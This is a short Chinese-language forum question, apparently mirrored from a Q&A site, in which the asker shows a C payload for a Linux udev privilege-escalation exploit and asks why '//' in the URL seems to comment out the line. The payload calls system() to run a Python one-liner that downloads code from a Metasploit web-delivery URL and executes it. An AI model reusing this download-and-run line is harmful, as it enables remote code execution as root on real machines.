【发布时间】:2016-08-22 17:46:52
【问题描述】:
我一直在尝试在 Linux 上进行权限提升漏洞利用,它将以 root 用户 (Linux kernel 2.6 UDEV exploit) 运行 /tmp/run 中的任何文件。我决定用 C 语言制作我的有效载荷(为了增加挑战)。它只需要执行一个 python 命令(由 Metasploit 的 web 交付模块生成)。问题是,当我将 URL 作为字符串输入时,http:// 中的 // 将注释掉 URL 的其余部分。
我对 C 的了解不多,所以我不知道如何解决这个问题。这可能看起来有点菜鸟,但我真的无法在任何地方找到答案。
当前代码:
#include <stdio.h>
int main(void) {
system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line
return 0;
}
有没有合适的方法来解决这个问题?
【问题讨论】:
-
用另一个反斜杠转义两个反斜杠(用于转义字符。所以你会得到 http:////
-
是什么让您认为
//正在注释掉该行? -
会不会是你的文本编辑器的语法高亮出了问题?因为它不应该在字符串中注释掉。